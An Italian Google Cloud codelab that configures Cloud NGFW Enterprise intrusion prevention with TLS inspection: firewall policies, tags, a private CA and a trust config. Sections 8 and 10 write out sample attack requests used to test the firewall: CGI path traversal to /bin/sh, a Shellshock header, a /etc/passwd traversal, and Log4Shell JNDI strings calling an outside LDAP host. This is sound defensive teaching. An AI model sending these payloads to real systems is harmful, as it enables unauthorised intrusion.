Codelab aziendale NGFW su Cloud [con ispezione TLS]

1. Introduzione

Firewall Cloud Next Generation (NGFW)

Cloud Next Generation Firewall è un servizio firewall completamente distribuito con funzionalità di protezione avanzate, micro-segmentazione e copertura pervasiva per proteggere i carichi di lavoro Google Cloud da attacchi interni ed esterni.

Cloud NGFW offre i seguenti vantaggi:

• Servizio firewall distribuito: Cloud NGFW fornisce un'applicazione stateful, completamente distribuita e basata su host, su ciascun carico di lavoro per abilitare un'architettura di sicurezza Zero Trust.
• Configurazione e deployment semplificati: Cloud NGFW implementa criteri firewall di rete e gerarchici che possono essere collegati a un nodo della gerarchia delle risorse. Questi criteri forniscono un'esperienza firewall coerente in tutta la gerarchia delle risorse Google Cloud.
• Controllo granulare e micro-segmentazione: la combinazione di criteri firewall e tag regolati da Identity and Access Management (IAM) offre un controllo granulare per il traffico sia nord-sud che est-ovest, fino a una singola VM, su reti e organizzazioni Virtual Private Cloud (VPC).

Cloud NGFW è disponibile nei seguenti livelli:

• Elementi essenziali del firewall di nuova generazione Cloud
• Firewall standard di nuova generazione Cloud
• Firewall aziendale di nuova generazione Cloud

Cloud NGFW per le aziende

Cloud NGFW Enterprise aggiunge il servizio di prevenzione delle intrusioni (IPS), una funzionalità di livello 7, all'infrastruttura firewall distribuita di Google Cloud. L'ispezione TLS è supportata per consentire l'ispezione del traffico con crittografia TLS.

Ora puoi eseguire il deployment di ispezioni affidabili Layer 7 Next Generation Firewall (NGFW) con controlli granulari, senza apportare modifiche all'architettura di rete o alle configurazioni di routing.

Per attivare ed eseguire il deployment del controllo firewall di livello 7 con IPS, devi eseguire le seguenti attività:

• Creare un insieme di endpoint firewall di zona gestiti di Google Cloud.
• Facoltativamente, crea un criterio di ispezione TLS.
• Facoltativamente, crea una configurazione di attendibilità.
• Associa questi endpoint alle reti Virtual Private Cloud (VPC) in cui è necessario il servizio Cloud NGFW Enterprise.
• Apporta semplici modifiche ai criteri firewall e alle regole firewall esistenti per specificare i profili di prevenzione delle minacce per i vari percorsi di traffico.

Criteri del firewall di rete

Il criterio firewall di rete agisce da container per le regole firewall. Le regole definite in un criterio firewall di rete non vengono applicate in nessuna posizione finché il criterio non viene associato a una rete VPC. A ogni rete VPC può essere associato un criterio firewall di rete. I criteri firewall di rete supportano i tag gestiti da IAM (o solo i tag) nelle regole firewall, che sostituiscono i tag di rete attuali e possono essere utilizzati per fornire l'identità al carico di lavoro.

La condivisione di un criterio firewall di rete tra le reti e l'integrazione con tag disciplinati da IAM semplificano notevolmente la configurazione e la gestione dei firewall.

Con l'introduzione dei criteri firewall di rete, i criteri firewall di Google Cloud sono ora costituiti dai seguenti componenti:

1. Criterio firewall gerarchico
2. Regole firewall VPC
3. Criterio firewall di rete ( globale e a livello di regione)

I criteri firewall gerarchici sono supportati nei nodi dell'organizzazione e delle cartelle all'interno della gerarchia delle risorse, mentre le regole firewall VPC e i criteri firewall di rete vengono applicati a livello di VPC. Una grande differenza tra le regole firewall VPC e i criteri firewall di rete è che le regole firewall VPC possono essere applicate solo a una singola rete VPC, mentre i criteri firewall di rete possono essere collegati a un singolo VPC o gruppo di VPC, oltre ad altri vantaggi come gli aggiornamenti batch.

Infine, abbiamo anche le regole firewall implicite che vengono fornite in ogni rete VPC:

• Una regola in uscita la cui azione è allow, la destinazione è 0.0.0.0/0
• Una regola in entrata la cui azione è negazione. L'origine è 0.0.0.0/0

Per impostazione predefinita, la sequenza di applicazione è mostrata nel seguente diagramma:

Tieni presente che l'ordine di applicazione tra le regole firewall VPC e il criterio firewall di rete globale può essere scambiato. I clienti possono specificare l'ingiunzione di applicazione in qualsiasi momento con un comando gcloud.

Tag

I nuovi tag integrati nelle regole dei criteri firewall di rete sono risorse di coppie chiave-valore definite a livello di organizzazione o a livello di progetto nella gerarchia delle risorse Google Cloud. Un tag di questo tipo contiene controlli di accesso IAM che specificano chi può fare cosa sul tag. Le autorizzazioni di Idenity and Access Management (IAM), ad esempio, consentono di specificare quali entità possono assegnare valori ai tag e quali possono collegare tag alle risorse. Se una regola firewall di rete fa riferimento a un tag, deve essere applicata a una risorsa per l'applicazione.

I tag rispettano il modello di risorse di ereditarietà di Google Cloud, il che significa che i tag e i relativi valori vengono trasmessi dai rispettivi elementi padre nella gerarchia. Di conseguenza, i tag possono essere creati in una posizione e utilizzati da altre cartelle e progetti in tutta la gerarchia delle risorse. Visita questa pagina per informazioni dettagliate sui tag e sulle limitazioni di accesso.

I tag non devono essere confusi con i tag di rete. Le ultime sono stringhe che possono essere aggiunte alle istanze di Compute Engine. vengono associate all'istanza e scompaiono quando l'istanza viene dismessa. Le regole firewall VPC possono includere tag di rete, ma poiché non sono considerate risorse cloud, non sono soggette al controllo degli accessi IAM.

Tieni presente che i tag e i tag gestiti da IAM vengono utilizzati in modo intercambiabile in questo documento.

Cosa creerai

Questo codelab richiede un singolo progetto e la possibilità di creare una rete VPC e di gestire una serie di risorse di rete e di sicurezza. Dimostrerà come Cloud NGFW Enterprise può fornire la funzionalità IPS tramite:

• Ispezione dei flussi internet verso nord con ispezione TLS
• Ispezione dei flussi intra-vpc [Est-Ovest] con ispezione TLS

I flussi da ispezionare verranno selezionati utilizzando i parametri di corrispondenza di Cloud Firewall, inclusi i parametri a 5 tuple (IP di origine, IP di destinazione, protocollo, porta di origine, porta di destinazione) e tag.

Lo stato finale della base di regole del criterio firewall di rete sarà simile alla tabella seguente:

Priorità	Direzione	Target	Origine	Destinazione	Azione	Tipo
100	In entrata	Server_Tag	Controlli di integrità	Qualsiasi	Consenti	Essentials
200	In entrata	Client_Tag, Server_Tag	IAP	Qualsiasi	Consenti	Essentials
800	In entrata	Server_Tag	10.0.0.0/24	10.0.0.0/24	Ispezione L7	Enterprise
850	In uscita	Client_Tag	Qualsiasi	10.0.0.0/24	Consenti	Essentials
900	In uscita	Client_Tag	Qualsiasi	Qualsiasi	Ispezione L7	Enterprise

Cosa imparerai a fare

• Come creare un criterio firewall di rete.
• Come creare e utilizzare tag con il criterio firewall di rete.
• Come configurare e utilizzare Cloud NGFW Enterprise con ispezione TLS.

Che cosa ti serve

• progetto Google Cloud.
• Conoscenza della distribuzione delle istanze e della configurazione dei componenti di networking.
• Conoscenza della configurazione del firewall VPC.

2. Prima di iniziare

Creare/aggiornare le variabili

Questo codelab utilizza le variabili $per facilitare l'implementazione della configurazione di gcloud in Cloud Shell.

In Cloud Shell, esegui i comandi riportati di seguito sostituendo le informazioni tra parentesi come richiesto:

Nota: puoi ottenere l'ID organizzazione anche utilizzando la console Cloud o gcloud projects get-ancestors [project-id].

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

Nota: se hai già lavorato con Google Cloud e hai già installato, aggiornato e autenticato nel tuo progetto gcloud, per questo lab puoi utilizzare il tuo computer locale anziché Cloud Shell. Salvo indicazioni specifiche, tutti i comandi gcloud devono essere eseguiti da un computer su cui è già installato***gcloud*** ***o Cloud Shell.***

3. Abilita API

Abilita le API se non lo hai già fatto:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Creazione di endpoint aziendali Cloud NGFW

Nota: tieni presente che sono necessari i ruoli IAM necessari per creare profili di sicurezza ed endpoint firewall sulla tua organizzazione (non nell'ambito di questo codelab).

Poiché la creazione dell'endpoint Enterprise di Cloud NGFW richiede circa 20 minuti, verrà creato prima e la configurazione di base potrà essere eseguita in parallelo durante la creazione dell'endpoint.

Crea il profilo di sicurezza e il gruppo di profili di sicurezza:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Output previsto:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Verifica che le risorse siano state create correttamente:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Output previsto (tieni presente che il formato di output può variare a seconda del client utilizzato:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Crea l'endpoint Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

Esegui il comando riportato di seguito per confermare che l'endpoint è in fase di creazione (CREAZIONE).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato di output può variare a seconda del client utilizzato):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Facoltativamente, esegui il comando seguente per ottenere ulteriori dettagli:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output previsto:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Il processo di creazione richiede circa 20 minuti. Passa alla sezione Configurazione di base per creare le risorse richieste in parallelo.

5. Configurazione di base

Rete e subnet VPC

Rete e subnet VPC

Crea la rete VPC e la subnet:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea il router Cloud e il gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Istanze

Nota: per motivi di sicurezza, questo codelab presuppone che Identity-Aware Proxy per l'inoltro TCP sia abilitato per consentire l'accesso SSH senza assegnare indirizzi IP pubblici alle istanze. Configurala prima di procedere.

Crea le istanze client e server web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tag a livello di progetto

Nota: questo codelab presuppone che l'utente disponga delle autorizzazioni necessarie per gestire e utilizzare i tag (o per assegnare il ruolo all'utente, se necessario).

Assegna l'autorizzazione TagAdmin all'utente se necessario:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Crea la chiave e i valori del tag a livello di progetto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Associa i tag alle istanze:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Criterio del firewall di rete globale

Crea un criterio firewall di rete globale:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Crea le regole Cloud Firewall Essentials richieste per consentire il traffico dagli intervalli di health-check e Identity-aware Proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Crea le regole firewall Cloud richieste per consentire il traffico in entrata verso est-ovest/intra-subnet dagli intervalli specifici (queste regole verranno aggiornate per abilitare Cloud NGFW Enterprise con ispezione TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associa il criterio firewall cloud alla rete VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Associazione endpoint firewall Cloud

Nota: tieni presente che sono richieste autorizzazioni a livello di organizzazione (non nell'ambito di questo codelab).

Definisci le variabili di ambiente nel caso in cui non l'hai ancora fatto e/o preferisci l'approccio tramite script.

Conferma che la creazione dell'endpoint firewall Cloud sia stata completata. Procedi solo dopo che lo stato risulta ATTIVO (durante la creazione lo stato previsto è CREAZIONE IN CORSO):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato di output può variare a seconda del client utilizzato):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Facoltativamente, esegui il comando seguente per ottenere ulteriori dettagli:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output previsto:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Nota: prima di procedere, assicurati che lo stato dell'endpoint di Cloud Firewall sia ATTIVO.

Associa l'endpoint firewall di Cloud alla rete VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

La procedura di associazione richiede circa 10 minuti. Vai alla sezione TLS solo dopo che lo stato è indicato come ATTIVO (durante la creazione lo stato previsto è CREAZIONE IN CORSO):

gcloud network-security firewall-endpoint-associations list

Output previsto al completamento:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Facoltativamente, esegui il comando seguente per ottenere ulteriori dettagli:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Output previsto:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

Nota: prima di procedere, assicurati che lo stato dell'associazione con Cloud Firewall sia ATTIVO.

7. Configura risorse TLS

Crea un pool di CA. Questa risorsa verrà utilizzata per ospitare il certificato CA radice che generiamo per NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Crea la CA radice. Questo è il certificato CA che verrà utilizzato per firmare certificati aggiuntivi per le richieste tramite NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Se viene visualizzato il messaggio seguente, rispondi y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Crea un account di servizio. Questo account di servizio verrà utilizzato per richiedere certificati per NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Imposta le autorizzazioni IAM per l'account di servizio:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$[e-mail] --role=roles/privateca.certificateRequester

Creare il file YAML del criterio TLS. Questo file conterrà informazioni sulle risorse specifiche:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importa il criterio di ispezione TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Aggiorna l'associazione dell'endpoint per abilitare TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Ottieni il certificato CA e aggiungilo all'archivio CA del client:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Trasferisci il certificato CA al client:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Accedi tramite SSH alla VM, sposta il certificato CA in /usr/local/share/ca-certificates e aggiorna l'archivio CA:

Nota: per motivi di sicurezza, questo codelab presuppone che Identity-Aware Proxy per l'inoltro TCP sia abilitato per consentire l'accesso SSH senza assegnare indirizzi IP pubblici alle istanze. Configurala prima di procedere. Tieni presente che il traffico dall'intervallo IAP [35.235.240.0/20] è stato consentito durante la creazione del criterio firewall di rete globale.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Esci da Cloud Shell.

Procedura di firma del certificato del server:

Su Cloudshell, installa la libreria di crittografia Pyca utilizzando il comando pip:

pip install --user "cryptography>=2.2.0"

Per consentire a Google Cloud SDK di utilizzare la libreria di crittografia Pyca, devi attivare i pacchetti del sito.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Crea il certificato del server:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Verrà generato un file cert.pem e key.pem in Cloudshell. Quindi, trasferisci il certificato e la chiave al server.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Accedi tramite SSH al server per aggiornare i dettagli del certificato per Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Sposta il certificato e la chiave in una cartella specifica:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Aggiorna la configurazione SSL per utilizzare il certificato firmato:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Riavvia Apache:

sudo systemctl restart apache2

Verifica lo stato di Apache:

sudo systemctl status apache2

Deve essere attivo (in esecuzione).

Esci dalla VM e continua su Cloudshell.

8. Convalida la connettività verso nord ed E/W

Esegui i comandi riportati di seguito in Cloud Shell e prendi nota degli IP di destinazione da utilizzare:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Apri una nuova scheda e avvia una connessione SSH alla VM client tramite IAP (dovrai definire le variabili nella nuova scheda):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Esegui i comandi riportati di seguito e prendi nota degli IP di destinazione da utilizzare. Crea le variabili sostituendo i valori tra parentesi con gli IP indicati nel passaggio precedente e assicurati che siano raggiungibili:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Curva l'IP privato e assicurati che sia raggiungibile:

curl https://$target_privateip --max-time 2

Risultati previsti per la richiesta curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Invia attacchi di esempio all'IP. Il server web deve rispondere a tutte le richieste, confermando che non sia attiva un'ispezione/prevenzione L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Esempi di risultati previsti (IP privato):

400
404
400
200
200

Analogamente, invia richieste a una destinazione internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Esempi di risultati previsti (destinazione internet):

400
404
400
403
403

Esci dal terminale VM e torna a Cloud Shell.

9. Crea e aggiorna le regole firewall per l'ispezione TLS

In precedenza, abbiamo configurato una regola firewall per consentire il traffico in entrata verso il nostro server dalla subnet interna. Ora aggiorneremo le regole in entrata esistenti e imposteremo l'azione su apply_security_profile_group. In questo modo verrà abilitata l'ispezione E/W L7 con TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Crea una nuova regola per ispezionare l'ispezione L7 in direzione nord con TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Crea una nuova regola per consentire EGRESS per E/W per evitare una doppia ispezione.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

Nota: l'ispezione doppia si verifica quando sia la risorsa di origine sia la risorsa di destinazione ispezionano gli stessi flussi.

Dalla VM client, la regola 900 intercetta il flusso quando l'EGRESS si verifica su TCP:443.

Dalla VM server, la regola 800 intercetta il flusso quando INGRESS si verifica su TCP:443

Per evitare una doppia ispezione, stiamo creando la regola 850 che consentirà l’EGRESS su TCP:443 alla subnet interna.

In questo modo, verranno intraprese le seguenti azioni:

Il traffico da E/W viene controllato dalla regola INGRESS

Il traffico verso nord viene controllato dalla regola EGRESS

Il traffico verso sud viene controllato dalla regola INGRESS

10. Convalida dell'ispezione TLS in direzione nord

Torna alla scheda della VM client o connettiti di nuovo:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Invia gli attacchi di esempio a una destinazione su internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Non vengono ricevute risposte come da output previsto di seguito, a conferma del fatto che gli attacchi di esempio sono ora bloccati:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Imposta la variabile sull'IP del server di prima:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Invia richieste TLS di esempio al server:

curl https://$target_privateip --max-time 2

Output previsto:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Perché questa richiesta non è andata a buon fine? Questo accade perché il firewall riceve dal server un certificato che non è attendibile. In questo caso, verrà passato un certificato autofirmato al client. Dobbiamo aggiungere il certificato CA come parte di una configurazione di attendibilità per abilitare l'attendibilità.

Torna a Cloud Shell.

11. Configura configurazione di attendibilità

Ottieni il certificato CA radice e impostalo come variabile con una formattazione appropriata.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configura il file YAML di configurazione dell'attendibilità. Questo file contiene dettagli di attendibilità come i certificati CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

I comandi precedenti includevano il certificato CA radice come parte dell'archivio di attendibilità, dato che il certificato del server è stato firmato utilizzando la CA radice. Questo significa che il firewall considererà attendibili tutti i certificati che riceve e che sono stati firmati dalla tua CA radice, oltre che dalle CA pubbliche, se il criterio TLS è impostato su false.

Controlla i contenuti della configurazione dell'attendibilità.

cat trust_config.yaml 

Esempio di output:

Presta particolare attenzione all'allineamento del rientro del certificato. Deve seguire esattamente questo formato.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
